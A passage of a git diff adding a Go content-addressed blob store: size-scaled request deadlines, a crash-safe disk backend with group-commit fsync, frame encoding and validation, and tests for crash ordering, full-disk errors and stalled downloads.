1, "up": int64(len(frame)) + 11, "down": int64(len(got)), "objects": 2} + have := map[string]int64{"puts": c.C.Puts.Load(), "gets": c.C.Gets.Load(), "has": c.C.Has.Load(), + "up": c.C.BytesUp.Load(), "down": c.C.BytesDown.Load(), "objects": c.C.ObjectsUp.Load()} + for k, w := range want { + if have[k] != w { + t.Errorf("%s = %d, want %d", k, have[k], w) + } + } +} + +func blobstoreRID(c byte) string { + b := make([]byte, 64) + for i := range b { + b[i] = c + } + return string(b) +} diff --git a/internal/blobstore/deadline.go b/internal/blobstore/deadline.go new file mode 100644 index 0000000000..aeb152799a --- /dev/null +++ b/internal/blobstore/deadline.go @@ -0,0 +1,58 @@ +package blobstore + +import ( + "context" + "time" +) + +// A request's deadline is a fixed allowance plus the time its body needs at the +// slowest link the store still supports. A fixed limit is wrong both ways: it +// kills a large frame on a slow link, and it waits far too long for a small +// request to a dead relay. +const ( + // BaseTimeout is the allowance every request gets, however small. + BaseTimeout = 30 * time.Second + // MinThroughput is the slowest sustained rate, in bytes per second, at + // which a body is still expected to arrive. + MinThroughput = 32 << 10 +) + +// Deadline is how long a request carrying n body bytes may take. +func Deadline(n int) time.Duration { + return BaseTimeout + time.Duration(n)*time.Second/MinThroughput +} + +// budget is the time limit of one request. It opens as the allowance for the +// request body, and once the answer's headers say how long the answer is it is +// set again to the allowance for that many bytes: a get sends almost nothing +// and receives a whole frame, so sizing it by the request alone gives a large +// answer the allowance of an empty one and cuts it off on any slow link. +type budget struct { + timer *time.Timer + cancel context.CancelCauseFunc + sized func(bodyBytes int) time.Duration +} + +// startBudget returns ctx limited to sized(requestBytes) and the budget that +// resizes it. +func startBudget(ctx context.Context, sized func(int) time.Duration, requestBytes int) (context.Context, *budget) { + ctx, cancel := context.WithCancelCause(ctx) + b := &budget{cancel: cancel, sized: sized} + b.timer = time.AfterFunc(sized(requestBytes), func() { cancel(context.DeadlineExceeded) }) + return ctx, b +} + +// answering resets the limit to the time an answer of n bytes needs. A length +// the answer does not state (n < 0) is allowed the largest answer there is. +func (b *budget) answering(n int64) { + if n < 0 { + n = MaxFrame + } + b.timer.Reset(b.sized(int(n))) +} + +// done releases the budget's timer and context. +func (b *budget) done() { + b.timer.Stop() + b.cancel(nil) +} diff --git a/internal/blobstore/deadline_test.go b/internal/blobstore/deadline_test.go new file mode 100644 index 0000000000..4ec8b8d091 --- /dev/null +++ b/internal/blobstore/deadline_test.go @@ -0,0 +1,61 @@ +package blobstore + +import ( + "context" + "errors" + "net/http" + "net/http/httptest" + "strconv" + "strings" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/wireauth" +) + +// trickle answers a get with a long body that arrives slowly: its headers come +// at once and the body in pieces, taking longer than an empty request's whole +// allowance. stall says how long the server waits before each piece. +func trickle(t *testing.T, size, pieces int, stall time.Duration) *HTTP { + t.Helper() + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + w.Header().Set("Content-Length", strconv.Itoa(size)) + w.WriteHeader(http.StatusOK) + piece := strings.Repeat("x", size/pieces) + for i := 0; i < pieces; i++ { + select { + case <-time.After(stall): + case <-r.Context().Done(): + return + } + _, _ = w.Write([]byte(piece)) + w.(http.Flusher).Flush() + } + })) + t.Cleanup(srv.Close) + c := NewHTTP(srv.URL, wireauth.Sign(func(*http.Request, []byte) {}), nil) + // An empty request gets 100 ms and every KiB of answer another 20 ms. + c.deadline = func(n int) time.Duration { return 100*time.Millisecond + time.Duration(n>>10)*20*time.Millisecond } + return c +} + +// A get sends no body, so its time limit must grow with the answer's length: +// a large answer that keeps arriving is not cut off by an empty request's allowance. +func TestGetDeadlineGrowsWithTheAnswer(t *testing.T) { + c := trickle(t, 32<<10, 4, 60*time.Millisecond) // 240 ms of body against a 100 ms base + got, err := c.Get(context.Background(), strings.Repeat("a", 64)) + if err != nil || len(got) != 32<<10 { + t.Fatalf("Get = %d bytes, %v; want the whole answer", len(got), err) + } +} + +// An answer that stops arriving must still fail, and as an unreachable store, +// so callers degrade rather than wait for a relay that has gone quiet. +func TestGetOfAStalledAnswerFailsUnreachable(t *testing.T) { + c := trickle(t, 1<<10, 1, time.Minute) // 1 KiB is allowed 120 ms; the body never comes + start := time.Now() + _, err := c.Get(context.Background(), strings.Repeat("a", 64)) + if !errors.Is(err, ErrUnreachable) || time.Since(start) > 5*time.Second { + t.Fatalf("Get = %v after %v; want ErrUnreachable promptly", err, time.Since(start)) + } +} diff --git a/internal/blobstore/disk.go b/internal/blobstore/disk.go new file mode 100644 index 0000000000..40417db107 --- /dev/null +++ b/internal/blobstore/disk.go @@ -0,0 +1,211 @@ +package blobstore + +import ( + "bytes" + "context" + "errors" + "fmt" + "io/fs" + "os" + "path/filepath" + "sync" +) + +// Disk keeps a store in a directory with exactly two prefixes and nothing else: +// +// frames/ a frame, written once +// objects// a pointer line " \n" +// +// The frame is the truth and the pointer is only an index into it, so a +// pointer is written after its frame is durable. A crash between the two +// leaves a frame nobody points at, which is harmless, and never a pointer to +// bytes that are not there. +type Disk struct { + frames, objects string + + mu sync.Mutex // one writer at a time, so conflict checks cannot race a write + + // The two seams below exist so a test can break the write at the exact + // place the crash order matters. Production leaves them as they are. + sync func([]*os.File) error // makes a batch of written files durable + afterFrame func() error // runs once the frame is durable, before any pointer +} + +// NewDisk opens a store under root, creating the two prefixes when needed. +func NewDisk(root string) (*Disk, error) { + d := &Disk{ + frames: filepath.Join(root, "frames"), + objects: filepath.Join(root, "objects"), + sync: flushFiles, + afterFrame: func() error { return nil }, + } + for _, dir := range []string{d.frames, d.objects} { + if err := os.MkdirAll(dir, 0o755); err != nil { + return nil, fmt.Errorf("blobstore: open disk store: %w", err) + } + } + return d, nil +} + +// PutFrame implements Store: check, make the frame durable, then point at it. +func (d *Disk) PutFrame(ctx context.Context, frame []byte) (FrameID, error) { + h, objects, err := Decode(frame) + if err != nil { + return "", err + } + d.mu.Lock() + defer d.mu.Unlock() + if err := d.conflict(ctx, objects); err != nil { + return "", err + } + id := IDOf(frame) + if err := d.writeOnce(filepath.Join(d.frames, id), frame); err != nil { + return "", err + } + if err := d.afterFrame(); err != nil { + return "", err + } + return id, d.point(id, payloadStart(frame, h), h.Objects) +} + +// conflict reports ErrConflict when any object is already held with other bytes. +func (d *Disk) conflict(ctx context.Context, objects []Object) error { + for _, o := range objects { + have, err := d.Get(ctx, o.RID) + if errors.Is(err, ErrNotFound) { + continue + } + if err != nil { + return err + } + if !bytes.Equal(have, o.Bytes) { + return ErrConflict + } + } + return nil +} + +// point writes one pointer per object that has none yet, as one group commit. +// An object already stored keeps its pointer: the bytes are identical, and a +// pointer is never rewritten. +func (d *Disk) point(id FrameID, start uint64, refs []ObjectRef) error { + entries := make([]entry, len(refs)) + for i, ref := range refs { + p := pointer{Frame: id, Off: start + ref.Off, Len: ref.Len} + entries[i] = entry{d.pointerPath(ref.RID), p.line()} + } + return d.writeAllOnce(entries) +} + +// Get implements Store: follow the pointer into the frame and read the object. +func (d *Disk) Get(_ context.Context, rid string) ([]byte, error) { + if err := checkGet(rid); err != nil { + return nil, err + } + line, err := os.ReadFile(d.pointerPath(rid)) + if errors.Is(err, fs.ErrNotExist) { + return nil, ErrNotFound + } + if err != nil { + return nil, fmt.Errorf("blobstore: read pointer: %w", err) + } + p, err := parsePointer(line) + if err != nil { + return nil, err + } + return d.readObject(p) +} + +// GetMany implements Store: the prefix of rids that fits in one frame, read one +// pointer at a time. +func (d *Disk) GetMany(ctx context.Context, rids []string) ([]Object, error) { + if err := checkMany(rids); err != nil { + return nil, err + } + return gatherPrefix(rids, func(rid string) ([]byte, error) { return d.Get(ctx, rid) }) +} + +// readObject reads the bytes a pointer names. A pointer whose frame is gone or +// short is damage, and is reported as damage rather than as an absent object. +func (d *Disk) readObject(p pointer) ([]byte, error) { + f, err := os.Open(filepath.Join(d.frames, p.Frame)) + if err != nil { + return nil, fmt.Errorf("%w: pointer names a missing frame: %v", ErrDamaged, err) + } + defer f.Close() + buf := make([]byte, p.Len) + if _, err := f.ReadAt(buf, int64(p.Off)); err != nil { + return nil, fmt.Errorf("%w: pointer runs past its frame: %v", ErrDamaged, err) + } + return buf, nil +} + +// Has implements Store; a pointer that exists is enough, as it is only ever +// written after the frame it names. It waits for a put in flight, so a client +// that timed out on a slow put and asks whether it landed gets the answer +// after the write ends and not a false "no" from the middle of it. +func (d *Disk) Has(_ context.Context, rids []string) ([]bool, error) { + if err := checkHas(rids); err != nil { + return nil, err + } + d.mu.Lock() + defer d.mu.Unlock() + have := make([]bool, len(rids)) + for i, rid := range rids { + _, err := os.Stat(d.pointerPath(rid)) + have[i] = err == nil + } + return have, nil +} + +// GetFrame implements Store: the frame as it was written, read whole. The +// frame is the truth, so this is a plain file read — but the id is the hash +// of the bytes, so a file that no longer holds what its name claims answers +// ErrDamaged, not nonsense a take would only fail on at import. +func (d *Disk) GetFrame(_ context.Context, frame string) ([]byte, error) { + if err := checkGet(frame); err != nil { + return nil, err + } + b, err := os.ReadFile(filepath.Join(d.frames, frame)) + if errors.Is(err, fs.ErrNotExist) { + return nil, ErrNotFound + } + if err != nil { + return nil, err + } + if IDOf(b) != frame { + return nil, fmt.Errorf("%w: frame %s is not what its name claims", ErrDamaged, frame) + } + return b, nil +} + +// Locate implements Store: read each rid's pointer line, which is exactly the +// answer a location is. A rid with no pointer is absent from the map; a +// pointer that exists is only ever written after its frame, as with Has. +func (d *Disk) Locate(_ context.Context, rids []string) (map[string]Location, error) { + if err := checkHas(rids); err != nil { + return nil, err + } + d.mu.Lock() + defer d.mu.Unlock() + at := make(map[string]Location, len(rids)) + for _, rid := range rids { + line, err := os.ReadFile(d.pointerPath(rid)) + if errors.Is(err, fs.ErrNotExist) { + continue + } + if err != nil { + return nil, fmt.Errorf("blobstore: read pointer: %w", err) + } + p, err := parsePointer(line) + if err != nil { + return nil, err + } + at[rid] = Location{Frame: p.Frame, Off: p.Off, Len: p.Len} + } + return at, nil +} + +func (d *Disk) pointerPath(rid string) string { + return filepath.Join(d.objects, rid[:2], rid[2:]) +} diff --git a/internal/blobstore/disk_crash_test.go b/internal/blobstore/disk_crash_test.go new file mode 100644 index 0000000000..cd49bf0151 --- /dev/null +++ b/internal/blobstore/disk_crash_test.go @@ -0,0 +1,126 @@ +package blobstore + +import ( + "context" + "errors" + "os" + "path/filepath" + "strings" + "syscall" + "testing" +) + +func sealedObject(rid, body string) Object { + return Object{RID: rid, Bytes: []byte("AGEO\x01" + body)} +} + +func newCrashDisk(t *testing.T) (*Disk, string, []byte, Object) { + t.Helper() + root := t.TempDir() + d, err := NewDisk(root) + if err != nil { + t.Fatal(err) + } + o := sealedObject(strings.Repeat("ab", 32), "body") + frame, err := Encode(strings.Repeat("0", 32), []Object{o}) + if err != nil { + t.Fatal(err) + } + return d, root, frame, o +} + +// pointers counts the pointer files under objects/. +func pointers(t *testing.T, root string) int { + t.Helper() + n := 0 + _ = filepath.WalkDir(filepath.Join(root, "objects"), func(_ string, e os.DirEntry, _ error) error { + if !e.IsDir() { + n++ + } + return nil + }) + return n +} + +// The crash between "frame is durable" and "pointer is written" must leave a +// store that says not found, never one that answers with garbage. +func TestDiskResumesPointersAfterCrash(t *testing.T) { + ctx := context.Background() + d, root, frame, o := newCrashDisk(t) + crash := errors.New("power cut") + d.afterFrame = func() error { return crash } + + if _, err := d.PutFrame(ctx, frame); !errors.Is(err, crash) { + t.Fatalf("PutFrame = %v, want the injected failure", err) + } + if _, err := d.Get(ctx, o.RID); !errors.Is(err, ErrNotFound) { + t.Fatalf("Get after the crash = %v, want ErrNotFound", err) + } + if have, _ := d.Has(ctx, []string{o.RID}); have[0] { + t.Fatal("Has answered true for an object with no pointer") + } + if _, err := os.Stat(filepath.Join(root, "frames", IDOf(frame))); err != nil { + t.Fatalf("the durable frame is missing: %v", err) + } + + // After the restart the same frame is sent again, and the store heals. + d.afterFrame = func() error { return nil } + if _, err := d.PutFrame(ctx, frame); err != nil { + t.Fatalf("retry: %v", err) + } + if got, err := d.Get(ctx, o.RID); err != nil || string(got) != string(o.Bytes) { + t.Fatalf("Get after the retry = %q, %v", got, err) + } +} + +// If the frame cannot be made durable, no pointer may exist at all. +func TestDiskFrameNotDurableWritesNoPointer(t *testing.T) { + ctx := context.Background() + d, root, frame, o := newCrashDisk(t) + d.sync = func([]*os.File) error { return errors.New("disk full") } + + if _, err := d.PutFrame(ctx, frame); err == nil { + t.Fatal("PutFrame succeeded although the frame could not be synced") + } + if n := pointers(t, root); n != 0 { + t.Fatalf("%d pointers exist for a frame that is not durable", n) + } + if _, err := d.Get(ctx, o.RID); !errors.Is(err, ErrNotFound) { + t.Fatalf("Get = %v, want ErrNotFound", err) + } + if entries, _ := os.ReadDir(filepath.Join(root, "frames")); len(entries) != 0 { + t.Fatalf("frames/ holds %d files after a failed sync, want none", len(entries)) + } +} + +// A pointer that names a frame which is gone is damage and must say so. +func TestDiskDanglingPointerIsNotNotFound(t *testing.T) { + ctx := context.Background() + d, root, frame, o := newCrashDisk(t) + if _, err := d.PutFrame(ctx, frame); err != nil { + t.Fatal(err) + } + if err := os.Remove(filepath.Join(root, "frames", IDOf(frame))); err != nil { + t.Fatal(err) + } + if _, err := d.Get(ctx, o.RID); !errors.Is(err, ErrDamaged) { + t.Fatalf("Get with a missing frame = %v, want ErrDamaged", err) + } +} + +// A full disk or an exhausted quota is ErrFull, and leaves no pointer behind. +func TestDiskENOSPC(t *testing.T) { + for _, errno := range []error{syscall.ENOSPC, syscall.EDQUOT} { + d, root, frame, o := newCrashDisk(t) + d.sync = func([]*os.File) error { return errno } + if _, err := d.PutFrame(context.Background(), frame); !errors.Is(err, ErrFull) { + t.Fatalf("PutFrame with %v = %v, want ErrFull", errno, err) + } + if n := pointers(t, root); n != 0 { + t.Fatalf("%d pointers after %v", n, errno) + } + if _, err := d.Get(context.Background(), o.RID); !errors.Is(err, ErrNotFound) { + t.Fatalf("Get = %v, want ErrNotFound", err) + } + } +} diff --git a/internal/blobstore/disk_layout_test.go b/internal/blobstore/disk_layout_test.go new file mode 100644 index 0000000000..fd1561d00d --- /dev/null +++ b/internal/blobstore/disk_layout_test.go @@ -0,0 +1,103 @@ +package blobstore_test + +import ( + "context" + "io/fs" + "os" + "path/filepath" + "strings" + "testing" + + "github.com/Agent-Field/codeaf/internal/blobstore" +) + +// tree lists every path under root with the bytes of every file, so two +// snapshots can be compared for a created path or an overwritten file. +func tree(t *testing.T, root string) map[string]string { + t.Helper() + out := map[string]string{} + err := filepath.WalkDir(root, func(path string, d fs.DirEntry, err error) error { + if err != nil { + return err + } + rel, _ := filepath.Rel(root, path) + if rel == "." { + return nil + } + if d.IsDir() { + out[rel+"/"] = "" + return nil + } + b, err := os.ReadFile(path) + out[rel] = string(b) + return err + }) + if err != nil { + t.Fatal(err) + } + return out +} + +func TestDiskCreatesOnlyFramesAndObjects(t *testing.T) { + root := t.TempDir() + d, err := blobstore.NewDisk(root) + if err != nil { + t.Fatal(err) + } + frame, _ := blobstore.Encode(testKey, []blobstore.Object{obj("a", "one"), obj("b", "two")}) + if _, err := d.PutFrame(context.Background(), frame); err != nil { + t.Fatal(err) + } + for path := range tree(t, root) { + top := strings.TrimSuffix(strings.SplitN(path, string(filepath.Separator), 2)[0], "/") + if top != "frames" && top != "objects" { + t.Errorf("unexpected path %q under the store root", path) + } + } + if entries, _ := os.ReadDir(root); len(entries) != 2 { + t.Errorf("root holds %d entries, want frames and objects only", len(entries)) + } +} + +func TestDiskLeavesNoTemporaryFiles(t *testing.T) { + root := t.TempDir() + d, _ := blobstore.NewDisk(root) + frame, _ := blobstore.Encode(testKey, []blobstore.Object{obj("a", "one")}) + if _, err := d.PutFrame(context.Background(), frame); err != nil { + t.Fatal(err) + } + for path := range tree(t, root) { + if strings.Contains(path, ".tmp-") { + t.Errorf("temporary file left behind: %s", path) + } + } +} + +func TestDiskNeverOverwritesAnExistingFile(t *testing.T) { + ctx := context.Background() + root := t.TempDir() + d, _ := blobstore.NewDisk(root) + first, _ := blobstore.Encode(testKey, []blobstore.Object{obj("a", "one"), obj("b", "two")}) + if _, err := d.PutFrame(ctx, first); err != nil { + t.Fatal(err) + } + before := tree(t, root) + + // The same frame again, then a new frame that shares an object with it, then + // a frame that conflicts: none may change a byte that was already written. + again, _ := blobstore.Encode(testKey, []blobstore.Object{obj("b", "two"), obj("c", "three")}) + conflicting, _ := blobstore.Encode(testKey, []blobstore.Object{{RID: obj("a", "").RID, Bytes: []byte("AGEO\x01other")}}) + for _, f := range [][]byte{first, again, conflicting} { + _, _ = d.PutFrame(ctx, f) + } + + after := tree(t, root) + for path, was := range before { + if now, ok := after[path]; !ok || now != was { + t.Errorf("%s changed or vanished", path) + } + } + if _, ok := after[filepath.Join("frames", blobstore.IDOf(conflicting))]; ok { + t.Error("a conflicting frame was written to frames/") + } +} diff --git a/internal/blobstore/diskbatch.go b/internal/blobstore/diskbatch.go new file mode 100644 index 0000000000..7da858848b --- /dev/null +++ b/internal/blobstore/diskbatch.go @@ -0,0 +1,168 @@ +package blobstore + +import ( + "errors" + "fmt" + "io/fs" + "os" + "path/filepath" +) + +// commitBatch is how many files one group commit holds open at once. It is +// small enough to stay far below any file-descriptor limit, and large enough +// that the disk sees one burst of writes followed by one burst of syncs. +const commitBatch = 256 + +// entry is one file to create: its final path and its whole content. +type entry struct { + path string + data []byte +} + +// staged is an entry written to a temporary file that is not yet in place. +type staged struct { + tmp *os.File + path string +} + +// writeAllOnce durably creates every entry whose path does not exist yet. +// Durability is by group commit: each batch is written to temporary files, +// then all of them are synced, then renamed into place, and each directory +// that gained a name is synced once. A disk that pays a full journal commit +// per fsync therefore pays it once per batch and not once per object, and the +// final names still never hold a partial file. +func (d *Disk) writeAllOnce(entries []entry) error { + var todo []entry + for _, e := range entries { + if _, err := os.Stat(e.path); err != nil { + todo = append(todo, e) + } + } + for len(todo) > 0 { + n := min(commitBatch, len(todo)) + if err := d.commit(todo[:n]); err != nil { + return asFull(err) + } + todo = todo[n:] + } + return nil +} + +// commit makes one batch durable and visible, in that order. +func (d *Disk) commit(batch []entry) error { + files, err := d.stageAll(batch) + if err == nil { + err = d.syncAll(files) + } + if err != nil { + discard(files) + return err + } + if err := place(files); err != nil { + return err + } + return d.syncDirs(files) +} + +// stageAll writes every entry to a temporary file beside its final path. +func (d *Disk) stageAll(batch []entry) ([]staged, error) { + files := make([]staged, 0, len(batch)) + for _, e := range batch { + f, err := stageOne(e) + if err != nil { + return files, err + } + files = append(files, f) + } + return files, nil +} + +func stageOne(e entry) (staged, error) { + dir := filepath.Dir(e.path) + if err := os.MkdirAll(dir, 0o755); err != nil { + return staged{}, fmt.Errorf("blobstore: create directory: %w", err) + } + tmp, err := os.CreateTemp(dir, ".tmp-*") + if err != nil { + return staged{}, fmt.Errorf("blobstore: create temporary file: %w", err) + } + s := staged{tmp: tmp, path: e.path} + if _, err := tmp.Write(e.data); err != nil { + discard([]staged{s}) + return staged{}, fmt.Errorf("blobstore: write %s: %w", filepath.Base(e.path), err) + } + return s, nil +} + +// syncAll makes every staged file durable before any of them gets its name. +func (d *Disk) syncAll(files []staged) error { + fds := make([]*os.File, len(files)) + for i, f := range files { + fds[i] = f.tmp + } + if err := d.sync(fds); err != nil { + return fmt.Errorf("blobstore: sync batch: %w", err) + } + return nil +} + +// place closes each temporary file and renames it to its final name. +func place(files []staged) error { + for i, f := range files { + err := f.tmp.Close() + if err == nil { + err = os.Rename(f.tmp.Name(), f.path) + } + if err != nil { + discard(files[i:]) + return fmt.Errorf("blobstore: place %s: %w", filepath.Base(f.path), err) + } + } + return nil +} + +// syncDirs makes the renames durable, one sync per distinct directory. +func (d *Disk) syncDirs(files []staged) error { + dirs, err := openDirs(files) + defer closeAll(dirs) + if err != nil { + return err + } + if err := d.sync(dirs); err != nil && !errors.Is(err, fs.ErrInvalid) { + return fmt.Errorf("blobstore: sync directory: %w", err) + } + return nil +} + +// openDirs opens each distinct directory that a batch placed a file in. +func openDirs(files []staged) ([]*os.File, error) { + var dirs []*os.File + seen := map[string]bool{} + for _, f := range files { + name := filepath.Dir(f.path) + if seen[name] { + continue + } + seen[name] = true + dir, err := os.Open(name) + if err != nil { + return dirs, fmt.Errorf("blobstore: open directory: %w", err) + } + dirs = append(dirs, dir) + } + return dirs, nil +} + +func closeAll(files []*os.File) { + for _, f := range files { + f.Close() + } +} + +// discard closes and removes temporary files that will not be used. +func discard(files []staged) { + for _, f := range files { + f.tmp.Close() + os.Remove(f.tmp.Name()) + } +} diff --git a/internal/blobstore/diskfile.go b/internal/blobstore/diskfile.go new file mode 100644 index 0000000000..54ba382d3c --- /dev/null +++ b/internal/blobstore/diskfile.go @@ -0,0 +1,60 @@ +package blobstore + +import ( + "errors" + "fmt" + "strconv" + "strings" + "syscall" +) + +// pointer says where one object lies inside a stored frame. +type pointer struct { + Frame FrameID + Off uint64 + Len uint32 +} + +// line is the pointer's on-disk form. +func (p pointer) line() []byte { + return []byte(fmt.Sprintf("%s %d %d\n", p.Frame, p.Off, p.Len)) +} + +// parsePointer reads a pointer line strictly: a file that does not look like +// one is damage, and must not be followed as a path. +func parsePointer(line []byte) (pointer, error) { + parts := strings.Fields(string(line)) + if len(parts) != 3 || !ValidRID(parts[0]) { + return pointer{}, fmt.Errorf("%w: malformed pointer", ErrDamaged) + } + off, offErr := strconv.ParseUint(parts[1], 10, 63) + n, lenErr := strconv.ParseUint(parts[2], 10, 32) + if offErr != nil || lenErr != nil { + return pointer{}, fmt.Errorf("%w: malformed pointer", ErrDamaged) + } + return pointer{Frame: parts[0], Off: off, Len: uint32(n)}, nil +} + +// payloadStart is where the payload begins in a frame: object offsets in the +// header count from there, and a pointer counts from the start of the frame. +func payloadStart(frame []byte, h Header) uint64 { + payload := uint64(0) + for _, ref := range h.Objects { + payload += uint64(ref.Len) + } + return uint64(len(frame)) - payload +} + +// writeOnce durably creates path with data, and does nothing if path exists. +func (d *Disk) writeOnce(path string, data []byte) error { + return d.writeAllOnce([]entry{{path, data}}) +} + +// asFull names a full disk or an exhausted quota ErrFull, which a caller +// answers by retrying later, and leaves every other error as it is. +func asFull(err error) error { + if errors.Is(err, syscall.ENOSPC) || errors.Is(err, syscall.EDQUOT) { + return fmt.Errorf("%w: %v", ErrFull, err) + } + return err +} diff --git a/internal/blobstore/doc.go b/internal/blobstore/doc.go new file mode 100644 index 0000000000..f896f6c2f4 --- /dev/null +++ b/internal/blobstore/doc.go @@ -0,0 +1,9 @@ +// Package blobstore is the content-addressed seam between a device and the +// place its encrypted objects rest. A store is told only two things: put this +// frame, and give me the object with this remote id. It never learns a path, +// a name or a plaintext byte, so every implementation, from the in-memory fake +// to the disk and the network, can be swapped without the caller noticing. +// +// The package imports nothing but the standard library (contract law L0), so +// the relay can link it without pulling in a device. +package blobstore diff --git a/internal/blobstore/flight.go b/internal/blobstore/flight.go new file mode 100644 index 0000000000..d41e88e509 --- /dev/null +++ b/internal/blobstore/flight.go @@ -0,0 +1,73 @@ +package blobstore + +import ( + "context" + "sync" +) + +// Has never answers no while a put for the same identity is still being +// received. A client that gave up on a slow put asks Has to learn whether the +// put landed anyway, and a "no" given from the middle of that put makes it send +// every byte again. Any relay must keep this rule, including one that keeps an +// identity's state in a single object: a put counts from the moment its request +// arrives, and a Has that meets one waits for it, or fails, but never says no. +// +// flight counts the puts of one scope that have arrived and not yet finished. +type flight struct { + mu sync.Mutex + n int + changed chan struct{} // closed, and replaced, each time n changes +} + +func newFlight() *flight { return &flight{changed: make(chan struct{})} } + +// enter records one put and answers the function that records its end. +func (f *flight) enter() (leave func()) { + f.move(1) + var once sync.Once + return func() { once.Do(func() { f.move(-1) }) } +} + +func (f *flight) move(delta int) { + f.mu.Lock() + defer f.mu.Unlock() + f.n += delta + close(f.changed) + f.changed = make(chan struct{}) +} + +// busy answers a channel that closes on the next change, or nil when idle. +func (f *flight) busy() <-chan struct{} { + f.mu.Lock() + defer f.mu.Unlock() + if f.n == 0 { + return nil + } + return f.changed +} + +// waitIdle returns once every flight is idle at the same moment, or with the +// context's error. The bound comes from the caller so a put that never ends +// cannot hold a Has forever. +func waitIdle(ctx context.Context, flights ...*flight) error { + for { + wait := firstBusy(flights) + if wait == nil { + return nil + } + select { + case <-wait: + case <-ctx.Done(): + return ctx.Err() + } + } +} + +func firstBusy(flights []*flight) <-chan struct{} { + for _, f := range flights { + if ch := f.busy(); ch != nil { + return ch + } + } + return nil +} diff --git a/internal/blobstore/flush_linux.go b/internal/blobstore/flush_linux.go new file mode 100644 index 0000000000..36d28b65c8 --- /dev/null +++ b/internal/blobstore/flush_linux.go @@ -0,0 +1,22 @@ +package blobstore + +import ( + "os" + + "golang.org/x/sys/unix" +) + +// flushFiles makes a batch of written files, or of directories that gained +// names, durable. One file gets its own fsync. Several share one syncfs of +// their filesystem, because on a journalling disk each fsync waits for a full +// journal commit, and thousands of them in a row are what made a large frame +// outlast every client deadline. Group commit pays that wait once per batch. +func flushFiles(files []*os.File) error { + if len(files) == 1 { + return files[0].Sync() + } + if len(files) == 0 { + return nil + } + return unix.Syncfs(int(files[0].Fd())) +} diff --git a/internal/blobstore/flush_other.go b/internal/blobstore/flush_other.go new file mode 100644 index 0000000000..6b02571f70 --- /dev/null +++ b/internal/blobstore/flush_other.go @@ -0,0 +1,19 @@ +//go:build !linux + +package blobstore + +import ( + "errors" + "os" +) + +// flushFiles makes a batch of written files, or of directories that gained +// names, durable, with one fsync each. Only Linux offers a call that commits a +// whole batch at once, and this platform is not what a relay runs on. +func flushFiles(files []*os.File) error { + var errs []error + for _, f := range files { + errs = append(errs, f.Sync()) + } + return errors.Join(errs...) +} diff --git a/internal/blobstore/frame.go b/internal/blobstore/frame.go new file mode 100644 index 0000000000..086f705b2f --- /dev/null +++ b/internal/blobstore/frame.go @@ -0,0 +1,207 @@ +package blobstore + +import ( + "bytes" + "crypto/sha256" + "encoding/binary" + "encoding/hex" + "encoding/json" + "fmt" +) + +// A frame is the unit of upload: many sealed objects behind one header, so one +// request carries what would otherwise be many. +// +// frame = magic || u32le(header_len) || header || payload +// header = JSON Header +// payload = the objects' bytes, concatenated in header order +var frameMagic = []byte("AGEF\x01") + +// headerVersion is the only header version this package reads or writes. +const headerVersion = 1 + +// cellKeyIDLen is the length of a cell key id in hex characters (SCHEMAS). +const cellKeyIDLen = 32 + +// prefixLen is the fixed part in front of the header: the magic and its length. +var prefixLen = len(frameMagic) + 4 + +// Header is the JSON index at the front of a frame. +type Header struct { + V uint16 `json:"V"` + CellKeyID string `json:"cell_key_id"` + Objects []ObjectRef `json:"objects"` +} + +// ObjectRef locates one object inside the payload. +type ObjectRef struct { + RID string `json:"rid"` + Off uint64 `json:"off"` + Len uint32 `json:"len"` +} + +// Object is one sealed object and the remote id it is stored under. +type Object struct { + RID string + Bytes []byte +} + +// IDOf is the identity of a frame: the hex SHA-256 of all of its bytes. The +// store computes it, so a writer never has to. +func IDOf(frame []byte) FrameID { + sum := sha256.Sum256(frame) + return hex.EncodeToString(sum[:]) +} + +// Encode packs objects into one frame. It runs the result through Decode, so +// this package can never write a frame that it would refuse to read. +func Encode(cellKeyID string, objects []Object) ([]byte, error) { + refs, err := refsOf(objects) + if err != nil { + return nil, err + } + raw, err := json.Marshal(Header{V: headerVersion, CellKeyID: cellKeyID, Objects: refs}) + if err != nil { + return nil, fmt.Errorf("blobstore: encode header: %w", err) + } + frame := join(raw, objects) + if _, _, err := Decode(frame); err != nil { + return nil, err + } + return frame, nil +} + +// refsOf lays the objects out back to back, which is the only layout Decode accepts. +func refsOf(objects []Object) ([]ObjectRef, error) { + refs := make([]ObjectRef, len(objects)) + var off uint64 + for i, o := range objects { + if len(o.Bytes) > MaxFrame { + return nil, bad("object is larger than a frame") + } + refs[i] = ObjectRef{RID: o.RID, Off: off, Len: uint32(len(o.Bytes))} + off += uint64(len(o.Bytes)) + } + return refs, nil +} + +// join writes the frame around an already encoded header. +func join(header []byte, objects []Object) []byte { + var out bytes.Buffer + out.Write(frameMagic) + out.Write(binary.LittleEndian.AppendUint32(nil, uint32(len(header)))) + out.Write(header) + for _, o := range objects { + out.Write(o.Bytes) + } + return out.Bytes() +} + +// Decode validates a frame and returns its header and objects. The objects +// alias the frame bytes, so the caller must not change the frame while it +// still uses them. Every rule a frame can break is one check below, and any +// break is ErrBadFrame: a store that accepted a half-valid frame could not +// promise that everything it holds is sealed (L6) and addressable (L5). +func Decode(frame []byte) (Header, []Object, error) { + if len(frame) > MaxFrame { + return Header{}, nil, bad("frame is larger than the limit") + } + raw, payload, err := split(frame) + if err != nil { + return Header{}, nil, err + } + h, err := parseHeader(raw) + if err != nil { + return Header{}, nil, err + } + objects, err := carve(h.Objects, payload) + if err != nil { + return Header{}, nil, err + } + return h, objects, nil +} + +// split cuts a frame into its header bytes and its payload after checking the +// magic and that the declared header length fits the limit and the frame. +func split(frame []byte) (header, payload []byte, err error) { + if len(frame) < prefixLen || !bytes.HasPrefix(frame, frameMagic) { + return nil, nil, bad("wrong magic") + } + n := binary.LittleEndian.Uint32(frame[len(frameMagic):prefixLen]) + if n > MaxHeader { + return nil, nil, bad("header is larger than the limit") + } + if uint64(prefixLen)+uint64(n) > uint64(len(frame)) { + return nil, nil, bad("header runs past the frame") + } + end := prefixLen + int(n) + return frame[prefixLen:end], frame[end:], nil +} + +// parseHeader reads the header JSON and checks its version, its cell key id and +// that it names at least one object; an empty frame would be a request that does nothing. +func parseHeader(raw []byte) (Header, error) { + var h Header + if err := json.Unmarshal(raw, &h); err != nil { + return Header{}, bad("header is not valid JSON") + } + if h.V != headerVersion { + return Header{}, bad("unknown header version") + } + if !isLowerHex(h.CellKeyID, cellKeyIDLen) { + return Header{}, bad("cell key id is not 32 lowercase hex") + } 